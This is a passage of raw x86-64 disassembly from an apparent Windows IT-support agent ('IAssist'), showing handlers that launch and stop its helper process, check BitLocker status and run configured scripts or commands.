call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0xab0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0xaa8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
xor r8d, r8d
lea rdx, [0x14015eb18]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x220]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1860]
lea rcx, [rsp + 0x220]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x220]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1860]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x220]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__wtoi]
mov ebx, eax
lea rdx, str.c:WindowsIAssist
lea rcx, [rsp + 0xaa0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x18d0]
call fcn.140101410
nop
mov r8d, 0x80
lea rdx, [rsp + 0xf700]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0xf700]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rdx, [rsp + 0xf700]
lea rcx, [rsp + 0x388]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
call qword [sym.imp.WINMM.dll_timeGetTime]
lea eax, [rbx - 0x80]
cmp eax, 0x80
ja 0x1400a4cbe
call sub.mfc140u.dll_AfxFieldText
mov rcx, qword [rax + 8]
mov byte [rcx + 0x321], 0
lea rdx, [rsp + 0xaa0]
lea rcx, [rsp + 0x388]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea rcx, [rsp + 0x55c]
call fcn.140103a10
test eax, eax
je 0x1400a4c9d
mov ecx, ebx
call fcn.1400f8970
jmp 0x1400a4d4d
mov edx, dword [rsp + 0x55c]
lea rcx, [rsp + 0x1868]
call fcn.1400f3ad0
lea rcx, [rsp + 0x1868]
jmp 0x1400a4d47
lea rdx, str.IAssistHelper.exe
lea rcx, [rsp + reloc.mfc140u.dll_CAsyncSocket::Create]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + reloc.mfc140u.dll_CAsyncSocket::Create]
lea rdx, [rsp + 0x388]
lea rcx, [rsp + reloc.mfc140u.dll_CMDIChildWndEx::GetPane]
call fcn.140006490
mov rbx, rax
lea rcx, [rsp + 0x220]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdi, rax
mov rcx, rbx
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov r8, rax
xor r14d, r14d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9, rdi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rsp + reloc.mfc140u.dll_CMDIChildWndEx::GetPane]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CAsyncSocket::Create]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [r15 + 0x248]
lea rcx, [rsp + 0xa90]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0xa90]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rcx, rax
lea rdx, str.showProgressDlg
call fcn.14000d8d0
movzx ebx, al
lea rcx, [rsp + 0xa90]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
test bl, bl
je 0x1400a4f10
lea rax, [rsp + 0x1878]
mov qword [rsp + 0x58], rax
lea rdx, str.showProgressDlg
lea rcx, [rsp + 0x1878]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
call sub.mfc140u.dll_AfxFieldText
nop
mov rdx, rbx
mov rcx, qword [rax + 8]
call fcn.1400afa70
call fcn.14010a220
test eax, eax
jne 0x1400a4f10
xor sil, sil
lea rdx, str.Taskkill__IM_IAssistHelper.exe__F
lea rcx, [rsp + 0x1880]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x4b8]
call fcn.1400fc5a0
nop
lea rax, [rsp + 0x1888]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x4b8]
lea rcx, [rsp + 0x1888]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rdi, rax
lea rdx, str.user_action_result
lea rcx, [rsp + 0x1890]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rdi
mov rcx, rbx
call fcn.14010a9a0
lea rdx, str.Taskkill__IM_IAssistHelper64.exe__F
lea rcx, [rsp + 0x1898]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x18a0]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x4b8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x18a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rax, [rsp + 0x18a8]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x4b8]
lea rcx, [rsp + 0x18a8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rdi, rax
lea rdx, str.user_action_result
lea rcx, [rsp + reloc.mfc140u.dll_CD2DBitmap::GetPixelFormat]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rdi
mov rcx, rbx
call fcn.14010a9a0
nop
lea rcx, [rsp + 0x4b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
call qword [sym.imp.WINMM.dll_timeGetTime]
lea rdx, [0x14016b010]
lea rcx, [rsp + 0xa98]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xa98]
lea rdx, [rsp + 0x388]
lea rcx, [rsp + 0x18b8]
call fcn.140006490
lea rcx, [0x1401e9678]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0xaa8]
lea r8, [rsp + 0xab0]
lea rdx, [rsp + 0xab8]
mov rcx, rax
call fcn.1401074a0
nop
lea rcx, [rsp + 0xa98]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rax, [rsp + 0x18c0]
mov qword [rsp + 0x58], rax
lea r8, [0x1401665b0]
lea rdx, [rsp + 0x388]
lea rcx, [rsp + 0x18c0]
call fcn.14007b460
mov rbx, rax
lea rdx, str.AT_the_end_of_SilentSolutionExecution..._check_helper_status_at
lea rcx, [rsp + 0x18c8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0x388]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x18d0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xaa0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x220]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xaa8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xab0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xab8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.isbitlockerenabled
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a5208
lea rcx, [rsp + 0xad8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x4c0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0xad0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, str.c:WindowsIAssist
lea rcx, [rsp + 0xac8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x18e0]
call fcn.140101410
nop
mov r8d, 0x80
lea rdx, [rsp + 0xf900]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0xf900]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rdx, [rsp + 0xf900]
lea rcx, [rsp + 0x658]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
lea rdx, [rsp + 0xac8]
lea rcx, [rsp + 0x658]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea rdx, [0x14016b010]
lea rcx, [rsp + 0xac0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xac0]
lea rdx, [rsp + 0x658]
lea rcx, [rsp + 0x18d8]
call fcn.140006490
lea rcx, [0x1401e9678]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0xad0]
lea r8, [rsp + 0x4c0]
lea rdx, [rsp + 0xad8]
mov rcx, rax
call fcn.1401074a0
nop
lea rcx, [rsp + 0xac0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.DLocked
lea rcx, [rsp + 0x4c0]
call fcn.14000d8d0
test al, al
jne 0x1400a51a7
lea rdx, [0x140166700]
lea rcx, [rsp + 0x4c0]
call fcn.14000d8d0
test al, al
jne 0x1400a51a7
xor sil, sil
jmp 0x1400a51aa
mov sil, 1
lea rcx, [rsp + 0x658]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x18e0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xac8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xad0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x4c0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xad8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.runcustomsolution
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a57ca
lea rcx, [rsp + 0x660]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x218]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, [r15 + 0x248]
lea rcx, [rsp + 0x108]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
xor r8d, r8d
lea rdx, [0x14015eb18]
lea rcx, [rsp + 0x108]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x108]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x18e8]
lea rcx, [rsp + 0x108]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x108]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x18e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x108]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
mov r8d, eax
lea rdx, [rsp + 0x18f0]
lea rcx, [rsp + 0x108]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x660]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x18f0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x108]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x18f8]
lea rcx, [rsp + 0x108]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x218]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x18f8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x218]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1900]
lea rcx, [rsp + 0x218]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x218]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1900]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015eb18]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x390]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x390]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1908]
lea rcx, [rsp + 0x390]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x390]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1908]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.AnakageFilesSelfHealSolutions
lea rcx, [rsp + 0xae8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x3b8
lea rcx, [rsp + 0xae0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0x1918]
call fcn.1400fe460
nop
lea r8, [rsp + 0xae8]
mov rdx, rax
lea rcx, [rsp + 0x1910]
call fcn.140006490
nop
lea r8, [rsp + 0xae0]
mov rdx, rax
lea rcx, [rsp + 0x4d0]
call fcn.140006490
nop
lea rcx, [rsp + 0x1910]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1918]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xae0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xae8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x140154858]
lea rcx, [rsp + 0xaf0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
call sub.mfc140u.dll_AfxFieldText
mov r8, qword [rax + 8]
mov r8, qword [r8 + 0x90]
lea rdx, [rsp + 0x4d0]
lea rcx, [rsp + 0x1930]
call fcn.14007b460
nop
lea r8, [rsp + 0xaf0]
mov rdx, rax
lea rcx, [rsp + 0x1928]
call fcn.140006490
nop
lea r8, [rsp + 0x390]
mov rdx, rax
lea rcx, [rsp + 0x1920]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0x4d0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1920]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1928]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1930]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xaf0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x4c8]
call fcn.140101410
nop
lea rdx, str.information.txt
lea rcx, [rsp + 0xaf8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xaf8]
lea rdx, [rsp + 0x4c8]
lea rcx, [rsp + 0x1938]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0x4c8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1938]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xaf8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x4c8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
mov edi, 1
mov dword [rsp + 0x20], edi
lea r9d, [rdi + 0x3f]
lea r8d, [rdi + 1]
lea rcx, [rsp + 0x2440]
call fcn.140014ba0
nop
lea rcx, [rsp + 0x218]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdi, rax
lea rcx, [rsp + 0x4d0]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rbx, rax
lea rdx, str.ScriptPath
lea rcx, [rsp + 0x2440]
call fcn.14009bd70
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x14015f258]
call fcn.14009bd70
mov rcx, rax
lea rdx, str.Is64Required
call fcn.14009bd70
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
lea rcx, [rsp + 0x2440]
call fcn.1400b0120
lea rcx, [rsp + 0x660]
call qword [sym.imp.mfc140u.dll_CPngImage::LoadFromBuffer]
mov rcx, rax
lea rdx, [0x14015e85c]
call fcn.14000d8d0
lea rdx, [0x14014f8c8]
test al, al
je 0x1400a5722
lea rax, [rsp + 0x1940]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x1940]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, [0x14016e158]
lea rcx, [rsp + 0x1948]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov dl, 1
jmp 0x1400a5758
lea rax, [rsp + 0x1950]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x1950]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, [0x14016e15c]
lea rcx, [rsp + 0x1958]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
xor edx, edx
mov r8, rbx
mov rcx, rax
call fcn.140108b10
nop
lea rcx, [rsp + 0x2440]
call fcn.140014dd0
nop
lea rcx, [rsp + 0x4c8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x4d0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x390]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x108]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x218]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x660]
jmp 0x14009d7a2
xor r8d, r8d
lea rdx, [0x14016e160]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a58b1
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x398]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x398]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1960]
lea rcx, [rsp + 0x398]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x398]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1960]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x398]
lea rcx, [rsp + 0x1968]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov edx, 0xffffffff
mov rcx, rax
call fcn.1400f3620
test al, al
setne sil
lea rcx, [rsp + 0x398]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.RunCommand
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a5aed
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1970]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x1978]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1978]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
mov rdx, qword [rdx + 0x90]
lea rcx, [rsp + 0xb10]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
lea rax, [rsp + 0x1980]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0xb10]
lea rcx, [rsp + 0x1980]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.RunCommand_Condition_Solution_number
lea rcx, [rsp + 0x1988]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rdx, [0x14016c7f8]
lea rcx, [rsp + 0xb00]
